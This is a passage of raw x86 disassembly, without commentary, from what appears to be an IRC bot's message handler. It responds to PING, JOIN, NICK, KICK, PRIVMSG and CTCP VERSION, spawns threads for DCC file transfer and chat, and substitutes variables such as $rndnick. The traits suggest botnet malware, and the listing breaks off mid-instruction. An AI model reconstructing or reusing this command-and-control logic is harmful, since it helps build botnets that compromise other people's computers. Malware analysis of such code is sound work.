ptr -17ECh var_17E8 = dword ptr -17E8h var_17E4 = byte ptr -17E4h var_17E0 = byte ptr -17E0h var_16E0 = dword ptr -16E0h var_16DC = byte ptr -16DCh var_16D8 = dword ptr -16D8h var_16D4 = byte ptr -16D4h var_1654 = byte ptr -1654h var_15D8 = byte ptr -15D8h var_1550 = byte ptr -1550h var_14D4 = dword ptr -14D4h var_14D0 = dword ptr -14D0h var_14CC = dword ptr -14CCh var_14C8 = byte ptr -14C8h var_144C = dword ptr -144Ch var_1448 = dword ptr -1448h var_1444 = dword ptr -1444h var_1440 = dword ptr -1440h var_143C = dword ptr -143Ch var_1438 = byte ptr -1438h var_13B8 = byte ptr -13B8h var_138C = byte ptr -138Ch var_1388 = byte ptr -1388h var_1338 = byte ptr -1338h var_1308 = byte ptr -1308h var_12C8 = byte ptr -12C8h var_12B8 = byte ptr -12B8h var_1238 = dword ptr -1238h var_1234 = dword ptr -1234h var_1230 = dword ptr -1230h var_122C = dword ptr -122Ch var_1228 = dword ptr -1228h var_1220 = byte ptr -1220h var_11A0 = byte ptr -11A0h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1110 = dword ptr -1110h var_110C = dword ptr -110Ch var_1108 = dword ptr -1108h var_1100 = dword ptr -1100h var_10FC = byte ptr -10FCh var_FF8 = dword ptr -0FF8h var_FF4 = byte ptr -0FF4h var_F74 = byte ptr -0F74h var_E75 = byte ptr -0E75h var_E74 = byte ptr -0E74h var_D74 = dword ptr -0D74h var_D70 = dword ptr -0D70h var_D6C = dword ptr -0D6Ch var_D68 = dword ptr -0D68h var_D64 = dword ptr -0D64h var_D60 = dword ptr -0D60h var_D5C = dword ptr -0D5Ch var_D58 = dword ptr -0D58h var_D54 = dword ptr -0D54h var_D50 = byte ptr -0D50h var_CD0 = byte ptr -0CD0h var_CC4 = byte ptr -0CC4h var_CB4 = dword ptr -0CB4h var_CB0 = byte ptr -0CB0h var_C74 = dword ptr -0C74h var_C70 = byte ptr -0C70h var_C30 = byte ptr -0C30h var_BF0 = byte ptr -0BF0h var_B70 = byte ptr -0B70h var_AF0 = dword ptr -0AF0h var_AEC = dword ptr -0AECh var_AE8 = dword ptr -0AE8h var_AE4 = dword ptr -0AE4h var_AE0 = dword ptr -0AE0h var_ADC = dword ptr -0ADCh var_AD8 = dword ptr -0AD8h var_AD4 = dword ptr -0AD4h var_AD0 = byte ptr -0AD0h var_AC4 = byte ptr -0AC4h var_AC0 = byte ptr -0AC0h var_A50 = byte ptr -0A50h var_9D0 = dword ptr -9D0h var_9CC = dword ptr -9CCh var_9C8 = dword ptr -9C8h var_9C4 = dword ptr -9C4h var_9C0 = byte ptr -9C0h var_95F = byte ptr -95Fh var_95E = byte ptr -95Eh var_95C = byte ptr -95Ch var_95B = byte ptr -95Bh var_952 = byte ptr -952h var_950 = byte ptr -950h var_94E = byte ptr -94Eh var_94D = byte ptr -94Dh var_8C0 = byte ptr -8C0h var_874 = dword ptr -874h var_86C = byte ptr -86Ch var_860 = dword ptr -860h var_85C = byte ptr -85Ch var_858 = byte ptr -858h var_75C = byte ptr -75Ch var_754 = byte ptr -754h var_6DC = dword ptr -6DCh var_6D4 = dword ptr -6D4h var_6D0 = dword ptr -6D0h var_6CC = dword ptr -6CCh var_6C8 = dword ptr -6C8h var_6C4 = dword ptr -6C4h var_6C0 = dword ptr -6C0h var_6BC = byte ptr -6BCh var_63C = byte ptr -63Ch var_5BC = dword ptr -5BCh var_5B8 = dword ptr -5B8h var_5B4 = dword ptr -5B4h var_5B0 = dword ptr -5B0h var_5AC = dword ptr -5ACh var_5A8 = dword ptr -5A8h var_5A4 = dword ptr -5A4h var_5A0 = dword ptr -5A0h var_59C = byte ptr -59Ch var_58C = byte ptr -58Ch var_50C = byte ptr -50Ch var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = dword ptr -47Ch var_470 = dword ptr -470h var_46C = dword ptr -46Ch var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = dword ptr -45Ch var_458 = dword ptr -458h var_450 = byte ptr -450h var_434 = dword ptr -434h var_430 = byte ptr -430h var_42C = dword ptr -42Ch var_428 = byte ptr -428h var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_3B0 = byte ptr -3B0h var_3A8 = dword ptr -3A8h var_3A4 = dword ptr -3A4h var_3A0 = dword ptr -3A0h var_39C = dword ptr -39Ch var_398 = dword ptr -398h var_394 = dword ptr -394h var_390 = dword ptr -390h var_38C = dword ptr -38Ch var_388 = dword ptr -388h var_384 = dword ptr -384h var_380 = dword ptr -380h var_37C = dword ptr -37Ch var_378 = byte ptr -378h var_350 = byte ptr -350h var_330 = dword ptr -330h var_304 = dword ptr -304h var_300 = dword ptr -300h var_2FC = dword ptr -2FCh var_2F8 = dword ptr -2F8h var_2F4 = dword ptr -2F4h var_2F0 = dword ptr -2F0h var_2EC = byte ptr -2ECh var_EC = dword ptr -0ECh var_E8 = dword ptr -0E8h var_E4 = word ptr -0E4h var_E2 = word ptr -0E2h var_E0 = dword ptr -0E0h var_D4 = byte ptr -0D4h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = byte ptr -0A4h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_54 = byte ptr -54h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 2924h call sub_417830 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2EC] push ebx push eax mov [ebp+var_BC], 3 mov [ebp+var_10], ebx mov [ebp+var_AC], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_EC], ebx call sub_417030 push 1Bh lea eax, [ebp+var_450] push [ebp+arg_10] push eax call sub_418910 add esp, 18h cmp [ebp+arg_0], ebx jz loc_40F098 push esi lea eax, [ebp+var_2324] push ebx push eax call sub_417030 dec esi lea eax, [ebp+var_2324] push esi push [ebp+arg_0] push eax call sub_418910 lea eax, [ebp+var_2324] push offset asc_437C50 ; " :" push eax call sub_417580 mov [ebp+var_C], eax lea eax, [ebp+var_2324] push esi push eax lea eax, [ebp+var_2524] push eax call sub_418910 mov esi, offset asc_429420 ; " " lea eax, [ebp+var_2524] push esi push eax call sub_41886E xor edi, edi add esp, 34h mov [ebp+var_94], eax inc edi loc_40ED09: ; CODE XREF: sub_40EC43+DAj push esi push ebx call sub_41886E mov [ebp+edi*4+var_94], eax inc edi pop ecx cmp edi, 20h pop ecx jl short loc_40ED09 mov esi, [ebp+var_94] cmp esi, ebx jz loc_40F098 cmp [ebp+var_90], ebx jz loc_40F098 push 100h lea eax, [ebp+var_9C0] push ebx push eax call sub_417030 add esp, 0Ch push 1Fh pop edx loc_40ED51: ; CODE XREF: sub_40EC43+142j lea ecx, [ebp+edx*4+var_94] mov eax, [ecx] cmp eax, ebx jz short loc_40ED84 cmp byte ptr [eax], 2Dh jnz short loc_40ED87 cmp [eax+2], bl jnz short loc_40ED87 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_9C0], 1 mov esi, [ebp+var_94] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_40ED84: ; CODE XREF: sub_40EC43+119j dec edx jns short loc_40ED51 loc_40ED87: ; CODE XREF: sub_40EC43+11Ej ; sub_40EC43+123j xor edi, edi inc edi cmp [ebp+var_94D], bl jz short loc_40ED95 mov [ebp+var_8], edi loc_40ED95: ; CODE XREF: sub_40EC43+14Dj cmp [ebp+var_952], bl jz short loc_40EDA3 mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_40EDA3: ; CODE XREF: sub_40EC43+158j cmp byte ptr [esi], 0Ah jz short loc_40EDDD push 7Fh lea eax, [ebp+var_D50] push esi push eax call sub_418910 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_D4] push eax call sub_418910 lea eax, [ebp+var_D4] push offset asc_437C4C ; "!" push eax call sub_41886E add esp, 20h loc_40EDDD: ; CODE XREF: sub_40EC43+163j push esi push offset aPing ; "PING" call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_40EE2E push [ebp+var_90] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_40D430 mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_40EED2 push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D430 add esp, 10h jmp loc_40EED2 ; --------------------------------------------------------------------------- loc_40EE2E: ; CODE XREF: sub_40EC43+1A9j mov esi, [ebp+var_90] push esi push offset a001 ; "001" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414E65 push esi push offset a005 ; "005" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414E65 push esi push offset a302 ; "302" call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_40EE99 push offset a@ ; "@" push [ebp+var_88] call sub_417580 pop ecx cmp eax, ebx pop ecx jz short loc_40EED2 inc eax push 9Fh push eax push [ebp+arg_1C] call sub_418910 add esp, 0Ch jmp short loc_40EED2 ; --------------------------------------------------------------------------- loc_40EE99: ; CODE XREF: sub_40EC43+22Aj push esi push offset a433 ; "433" call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_40EED9 push ebx push dword_489264 push dword_42E924 push [ebp+arg_10] call sub_415A3A push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40D430 add esp, 1Ch loc_40EED2: ; CODE XREF: sub_40EC43+1CAj ; sub_40EC43+1E6j ... mov eax, edi jmp loc_40F09B ; --------------------------------------------------------------------------- loc_40EED9: ; CODE XREF: sub_40EC43+265j mov esi, [ebp+arg_18] mov [ebp+var_E8], 2 mov edi, 80h loc_40EEEB: ; CODE XREF: sub_40EC43+2CDj lea eax, [ebp+var_D50] push eax push esi call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_40EF08 mov [ebp+var_AC], 1 loc_40EF08: ; CODE XREF: sub_40EC43+2B9j add esi, edi dec [ebp+var_E8] jnz short loc_40EEEB mov esi, [ebp+var_90] push esi push offset aKick ; "KICK" call sub_4173D0 pop ecx test eax, eax pop ecx jnz loc_40EFF1 mov esi, [ebp+arg_18] mov [ebp+arg_24], 2 loc_40EF37: ; CODE XREF: sub_40EC43+373j cmp [esi], bl jz short loc_40EFB1 push 7Fh lea eax, [ebp+var_D50] push esi push eax call sub_418910 add esp, 0Ch cmp [ebp+var_88], ebx jz short loc_40EFB1 push [ebp+var_88] lea eax, [ebp+var_D4] push eax call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_40EFB1 lea eax, [ebp+var_D4] mov [esi], bl push eax lea eax, [ebp+var_2EC] push offset unk_437BD0 push eax call sub_416FB6 lea eax, [ebp+var_2EC] push eax lea eax, [ebp+var_D4] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_40D430 lea eax, [ebp+var_2EC] push eax call sub_40BD8D add esp, 20h loc_40EFB1: ; CODE XREF: sub_40EC43+2F6j ; sub_40EC43+310j ... add esi, edi dec [ebp+arg_24] jnz loc_40EF37 push [ebp+var_88] push [ebp+arg_10] call sub_4173D0 pop ecx test eax, eax pop ecx jnz loc_40F098 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_40EFE4: ; CODE XREF: sub_40EC43+5D6j ; sub_40EC43+918j push [ebp+arg_4] call sub_40D430 jmp loc_41464E ; --------------------------------------------------------------------------- loc_40EFF1: ; CODE XREF: sub_40EC43+2E4j push esi push offset aNick ; "NICK" call sub_4173D0 pop ecx test eax, eax pop ecx jnz loc_40F12D mov eax, [ebp+var_8C] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 2 mov [ebp+arg_24], eax loc_40F01A: ; CODE XREF: sub_40EC43+429j lea eax, [ebp+var_D50] push eax push esi call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_40F067 lea eax, [ebp+var_D50] push 21h push eax call sub_418C50 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_40F067 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_4176C0 push [ebp+arg_1C] push edi call sub_4176D0 add esp, 10h mov edi, 80h loc_40F067: ; CODE XREF: sub_40EC43+3E8j ; sub_40EC43+3FFj add esi, edi dec [ebp+arg_0] jnz short loc_40F01A cmp [ebp+arg_24], ebx jz short loc_40F098 push [ebp+arg_10] lea eax, [ebp+var_D4] push eax call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_40F0A0 push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_418910 add esp, 0Ch loc_40F098: ; CODE XREF: sub_40EC43+5Bj ; sub_40EC43+E4j ... xor eax, eax inc eax loc_40F09B: ; CODE XREF: sub_40EC43+291j ; sub_40EC43+29AEj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40F0A0: ; CODE XREF: sub_40EC43+443j mov edi, [ebp+arg_18] xor esi, esi loc_40F0A5: ; CODE XREF: sub_40EC43+483j cmp [edi], bl jz short loc_40F0BC lea eax, [ebp+var_D50] push eax push edi call sub_4173D0 pop ecx test eax, eax pop ecx jz short loc_40F0CA loc_40F0BC: ; CODE XREF: sub_40EC43+464j inc esi add edi, 80h cmp esi, 2 jl short loc_40F0A5 jmp short loc_40F098 ; --------------------------------------------------------------------------- loc_40F0CA: ; CODE XREF: sub_40EC43+477j lea eax, [ebp+var_D50] push 21h push eax call sub_418C50 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz short loc_40F098 push eax call sub_4177B0 push [ebp+arg_24] mov edi, eax call sub_4177B0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja short loc_40F098 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS_1 ; ":%s%s" push esi call sub_416FB6 push ebx lea eax, [ebp+var_350] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_40D476 add esp, 24h jmp loc_40F098 ; --------------------------------------------------------------------------- loc_40F12D: ; CODE XREF: sub_40EC43+3BDj push esi push offset aPart ; "PART" call sub_4173D0 pop ecx test eax, eax pop ecx jz short loc_40F14F push esi push offset aQuit ; "QUIT" call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_40F176 loc_40F14F: ; CODE XREF: sub_40EC43+4F9j mov edi, [ebp+arg_18] xor esi, esi loc_40F154: ; CODE XREF: sub_40EC43+531j cmp [edi], bl jz short loc_40F16A push [ebp+var_94] push edi call sub_4173D0 pop ecx test eax, eax pop ecx jz short loc_40F1BD loc_40F16A: ; CODE XREF: sub_40EC43+513j inc esi add edi, 80h cmp esi, 2 jl short loc_40F154 loc_40F176: ; CODE XREF: sub_40EC43+50Aj push [ebp+var_90] push offset a353 ; "353" call sub_4173D0 pop ecx test eax, eax pop ecx jnz loc_40F21E push [ebp+var_84] push [ebp+arg_8] call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_40F1AD mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40F1AD: ; CODE XREF: sub_40EC43+55Fj push [ebp+var_84] push offset dword_437B74 jmp loc_414E59 ; --------------------------------------------------------------------------- loc_40F1BD: ; CODE XREF: sub_40EC43+525j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_D4] push eax lea eax, [ebp+var_2EC] push offset unk_437B44 push eax call sub_416FB6 lea eax, [ebp+var_2EC] push eax call sub_40BD8D push [ebp+var_90] push offset aPart ; "PART" call sub_4173D0 add esp, 18h test eax, eax jnz loc_40F098 lea eax, [ebp+var_2EC] push eax mov eax, [ebp+var_94] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_40EFE4 ; --------------------------------------------------------------------------- loc_40F21E: ; CODE XREF: sub_40EC43+547j push [ebp+var_90] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_4173D0 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_40F272 push [ebp+var_90] push edi call sub_4173D0 pop ecx test eax, eax pop ecx jz short loc_40F272 push [ebp+var_90] push offset dword_437B40 call sub_4173D0 pop ecx test eax, eax pop ecx jnz loc_414CDE cmp dword_42E910, ebx jz loc_414CDE loc_40F272: ; CODE XREF: sub_40EC43+5F5j ; sub_40EC43+607j push [ebp+var_90] push esi call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_40F3EB push [ebp+var_90] push edi call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_40F3EB mov eax, [ebp+var_88] inc [ebp+var_84] mov [ebp+var_BC], 4 mov [ebp+var_8C], eax loc_40F2BA: ; CODE XREF: sub_40EC43+867j ; sub_40EC43+8EDj ... mov eax, [ebp+var_BC] mov esi, eax shl esi, 2 lea edi, [ebp+esi+var_94] mov eax, [edi] push eax push offset dword_437B38 mov [ebp+arg_8], eax call sub_4173D0 pop ecx test eax, eax pop ecx jnz loc_40F6D4 push [ebp+esi+var_90] push offset aSend_0 ; "SEND" call sub_4173D0 pop ecx test eax, eax pop ecx jnz loc_40F59C cmp [ebp+var_AC], ebx jz loc_40F572 push [ebp+esi+var_8C] mov edi, offset aS_3 ; "%s" lea eax, [ebp+var_858] push edi push eax call sub_416FB6 push [ebp+esi+var_88] lea eax, [ebp+var_86C] push edi push eax call sub_416FB6 push [ebp+esi+var_84] call sub_41751F mov [ebp+var_6D4], eax mov eax, [ebp+arg_4] mov [ebp+var_874], eax lea eax, [ebp+var_D4] push 7Fh push eax lea eax, [ebp+var_754] push eax call sub_418910 mov eax, [ebp+var_4] mov [ebp+var_6CC], eax mov eax, [ebp+var_8] mov [ebp+var_6C8], eax lea eax, [ebp+var_754] push eax lea eax, [ebp+var_858] push eax lea eax, [ebp+var_2EC] push offset dword_437AF4 push eax call sub_416FB6 push ebx lea eax, [ebp+var_2EC] push 12h push eax call sub_416A7A add esp, 44h mov [ebp+var_6D0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_874] push ebx push eax push offset sub_40C6D2 push ebx push ebx call dword_4230A0 ; CreateThread mov ecx, [ebp+var_6D0] imul ecx, 234h cmp eax, ebx mov dword_44457C[ecx], eax jz loc_4136F1 jmp loc_40F568 ; --------------------------------------------------------------------------- loc_40F3EB: ; CODE XREF: sub_40EC43+63Fj ; sub_40EC43+655j push [ebp+var_90] push edi call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_40F404 mov [ebp+var_4], 1 loc_40F404: ; CODE XREF: sub_40EC43+7B8j cmp [ebp+var_8C], ebx jz loc_40F098 push (offset loc_4279FF+1) push [ebp+var_8C] call sub_417580 pop ecx test eax, eax pop ecx jz short loc_40F42B cmp [ebp+var_4], ebx jz short loc_40F437 loc_40F42B: ; CODE XREF: sub_40EC43+7E1j lea eax, [ebp+var_D4] mov [ebp+var_8C], eax loc_40F437: ; CODE XREF: sub_40EC43+7E6j cmp [ebp+var_88], ebx jz loc_40F098 inc [ebp+var_88] jz short loc_40F481 cmp [ebp+arg_10], ebx jz short loc_40F481 lea eax, [ebp+var_450] push eax call sub_4177B0 push eax lea eax, [ebp+var_450] push [ebp+var_88] push eax call sub_418AA0 add esp, 10h neg eax sbb eax, eax add eax, 4 mov [ebp+var_BC], eax jmp short loc_40F487 ; --------------------------------------------------------------------------- loc_40F481: ; CODE XREF: sub_40EC43+806j ; sub_40EC43+80Bj mov eax, [ebp+var_BC] loc_40F487: ; CODE XREF: sub_40EC43+83Cj mov esi, eax shl esi, 2 mov edi, [ebp+esi+var_94] cmp edi, ebx jz loc_40F098 push edi push offset dword_437AE8 call sub_4173D0 pop ecx test eax, eax pop ecx jnz loc_40F2BA mov ecx, [ebp+var_8C] cmp byte ptr [ecx], 23h jz short loc_40F521 mov eax, dword_489270 mov eax, off_42EA08[eax*4] cmp [eax], bl jz short loc_40F521 push eax push ecx push offset dword_437ACC push [ebp+arg_4] call sub_40D430 lea eax, [ebp+var_D4] push eax lea eax, [ebp+var_2EC] push offset aSHasJustVersio ; "%s has just versioned me." push eax call sub_416FB6 lea eax, [ebp+var_2EC] push eax call sub_40BD8D add esp, 20h cmp [ebp+var_AC], ebx jnz loc_40F098 push ebx lea eax, [ebp+var_2EC] push 1 push eax push offset dword_489184 jmp loc_41449D ; --------------------------------------------------------------------------- loc_40F521: ; CODE XREF: sub_40EC43+876j ; sub_40EC43+886j push edi push offset dword_437AA8 call sub_4173D0 pop ecx test eax, eax pop ecx jnz loc_40F2BA mov esi, [ebp+esi+var_90] cmp esi, ebx jz loc_40F2BA mov eax, [ebp+var_8C] cmp byte ptr [eax], 23h jz loc_40F2BA push esi push eax push offset dword_437A90 jmp loc_40EFE4 ; --------------------------------------------------------------------------- loc_40F560: ; CODE XREF: sub_40EC43+92Bj push 32h call dword_423064 ; Sleep loc_40F568: ; CODE XREF: sub_40EC43+7A3j cmp [ebp+var_6C4], ebx jz short loc_40F560 jmp short loc_40F594 ; --------------------------------------------------------------------------- loc_40F572: ; CODE XREF: sub_40EC43+6C4j lea eax, [ebp+var_D4] push eax lea eax, [ebp+var_2EC] push [ebp+esi+var_8C] push offset dword_437A40 push eax call sub_416FB6 add esp, 10h loc_40F594: ; CODE XREF: sub_40EC43+92Dj ; sub_40EC43+A6Aj ... xor esi, esi inc esi jmp loc_4115E2 ; --------------------------------------------------------------------------- loc_40F59C: ; CODE XREF: sub_40EC43+6B8j push [ebp+esi+var_90] push offset aChat ; "CHAT" call sub_4173D0 pop ecx test eax, eax pop ecx jnz loc_40F6EA cmp [ebp+var_AC], ebx jz loc_40F6C3 push 13h call sub_416CBC test eax, eax pop ecx jnz loc_40F6B2 push [ebp+esi+var_88] lea eax, [ebp+var_86C] push offset aS_3 ; "%s" push eax call sub_416FB6 push [ebp+esi+var_84] call sub_41751F mov [ebp+var_6D4], eax mov eax, [ebp+arg_4] mov [ebp+var_874], eax lea eax, [ebp+var_D4] push 7Fh push eax lea eax, [ebp+var_754] push eax call sub_418910 mov eax, [ebp+var_4] mov [ebp+var_6CC], eax mov eax, [ebp+var_8] mov [ebp+var_6C8], eax lea eax, [ebp+var_D4] push eax lea eax, [ebp+var_2EC] push offset dword_437A04 push eax call sub_416FB6 push ebx lea eax, [ebp+var_2EC] push 13h push eax call sub_416A7A add esp, 34h mov [ebp+var_6D0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_874] push ebx push eax push offset sub_40C16F push ebx push ebx call dword_4230A0 ; CreateThread mov ecx, [ebp+var_6D0] imul ecx, 234h cmp eax, ebx mov dword_44457C[ecx], eax jnz short loc_40F6A5 call dword_42308C ; RtlGetLastWin32Error push eax push offset dword_4379C0 jmp loc_412988 ; --------------------------------------------------------------------------- loc_40F69D: ; CODE XREF: sub_40EC43+A68j push 32h call dword_423064 ; Sleep loc_40F6A5: ; CODE XREF: sub_40EC43+A47j cmp [ebp+var_6C4], ebx jz short loc_40F69D jmp loc_40F594 ; --------------------------------------------------------------------------- loc_40F6B2: ; CODE XREF: sub_40EC43+98Aj lea eax, [ebp+var_D4] push eax push offset dword_437980 jmp loc_412988 ; --------------------------------------------------------------------------- loc_40F6C3: ; CODE XREF: sub_40EC43+97Aj lea eax, [ebp+var_D4] push eax push offset dword_437940 jmp loc_412988 ; --------------------------------------------------------------------------- loc_40F6D4: ; CODE XREF: sub_40EC43+69Dj mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_42E91C mov [edi], ecx jnz loc_40F098 loc_40F6EA: ; CODE XREF: sub_40EC43+96Ej mov edi, [edi] mov [ebp+arg_8], edi push edi mov edi, offset aC_1 ; "c" push edi call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414CE6 push [ebp+arg_8] push edi call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414CE6 cmp [ebp+var_AC], ebx jnz short loc_40F73A push [ebp+var_90] push offset dword_437B40 call sub_4173D0 pop ecx test eax, eax pop ecx jnz loc_414CDE loc_40F73A: ; CODE XREF: sub_40EC43+ADBj cmp [ebp+arg_28], ebx jnz loc_414CDE xor edi, edi cmp dword_4306F8, ebx jle loc_40F8DE mov [ebp+arg_20], offset dword_4437E8 loc_40F758: ; CODE XREF: sub_40EC43+B34j push [ebp+arg_8] push [ebp+arg_20] call sub_4173D0 pop ecx test eax, eax pop ecx jz short loc_40F77E add [ebp+arg_20], 0B8h inc edi cmp edi, dword_4306F8 jl short loc_40F758 jmp loc_40F8DE ; --------------------------------------------------------------------------- loc_40F77E: ; CODE XREF: sub_40EC43+B24j push offset asc_437C50 ; " :" push [ebp+arg_0] call sub_417580 pop ecx cmp eax, ebx pop ecx jz loc_40F098 mov cl, byte_42E91C imul edi, 0B8h mov [eax+2], cl mov cl, byte_42E91C mov [eax+3], cl lea ecx, dword_443800[edi] push 9Fh add eax, 4 push ecx push eax call sub_418910 lea eax, dword_4437E8[edi] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax lea edi, [ebp+esi+var_54] loc_40F7D9: ; CODE XREF: sub_40EC43+C30j push [ebp+arg_20] lea eax, [ebp+var_B8] push offset aD_0 ; "$%d-" push eax call sub_416FB6 lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_417580 add esp, 14h test eax, eax jz short loc_40F83B cmp [edi], ebx jz short loc_40F83F push [ebp+arg_C] call sub_4177B0 add [ebp+var_C], eax pop ecx jz short loc_40F86A push dword ptr [edi-4] push [ebp+var_C] call sub_417580 pop ecx cmp eax, ebx pop ecx jz short loc_40F86A push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A610 add esp, 0Ch jmp short loc_40F86A ; --------------------------------------------------------------------------- loc_40F83B: ; CODE XREF: sub_40EC43+BBEj cmp [edi], ebx jnz short loc_40F86A loc_40F83F: ; CODE XREF: sub_40EC43+BC2j lea eax, [ebp+var_B8] push 2 push eax lea eax, [ebp+var_14] push eax call sub_418910 lea eax, [ebp+var_14] mov [ebp+var_12], bl push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A610 add esp, 18h loc_40F86A: ; CODE XREF: sub_40EC43+BD0j ; sub_40EC43+BE1j ... dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg loc_40F7D9 lea eax, [ebp+esi+var_54] mov [ebp+arg_20], 10h mov edi, eax loc_40F886: ; CODE XREF: sub_40EC43+C8Fj push [ebp+arg_20] lea eax, [ebp+var_B8] push offset aD ; "$%d" push eax call sub_416FB6 lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_417580 add esp, 14h test eax, eax jz short loc_40F8C9 mov eax, [edi] cmp eax, ebx jz short loc_40F8C9 push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A610 add esp, 0Ch loc_40F8C9: ; CODE XREF: sub_40EC43+C6Bj ; sub_40EC43+C71j dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_40F886 mov [ebp+var_EC], 1 loc_40F8DE: ; CODE XREF: sub_40EC43+B08j ; sub_40EC43+B36j mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_42E91C jz short loc_40F8F7 cmp [ebp+var_EC], ebx jz loc_40FAD7 loc_40F8F7: ; CODE XREF: sub_40EC43+CA6j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe_0 ; "$me" push edi call sub_40A610 lea eax, [ebp+var_D4] push eax push offset aUser_2 ; "$user" push edi call sub_40A610 push [ebp+var_8C] push offset aChan ; "$chan" push edi call sub_40A610 push ebx push ebx lea eax, [ebp+var_B8] push 2 push eax call sub_415A3A push eax push offset aRndnick ; "$rndnick" push edi call sub_40A610 add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_40A610 mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_417580 add esp, 14h jmp loc_40FA52 ; --------------------------------------------------------------------------- loc_40F96E: ; CODE XREF: sub_40EC43+E11j push edi push [ebp+arg_0] call sub_417580 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_B8] push eax call sub_418910 lea eax, [ebp+var_B8] push offset asc_4378F8 ; ")" push eax call sub_41886E add esp, 1Ch cmp [ebp+var_B8], 30h jl short loc_40F9B2 cmp [ebp+var_B8], 39h jle short loc_40F9C8 loc_40F9B2: ; CODE XREF: sub_40EC43+D64j push 3 lea eax, [ebp+var_B8] push offset a63 ; "63" push eax call sub_418910 add esp, 0Ch loc_40F9C8: ; CODE XREF: sub_40EC43+D6Dj lea eax, [ebp+var_B8] push eax call sub_41751F test eax, eax pop ecx jle short loc_40F9EB lea eax, [ebp+var_B8] push eax call sub_41751F pop ecx mov [ebp+var_14], al jmp short loc_40F9FC ; --------------------------------------------------------------------------- loc_40F9EB: ; CODE XREF: 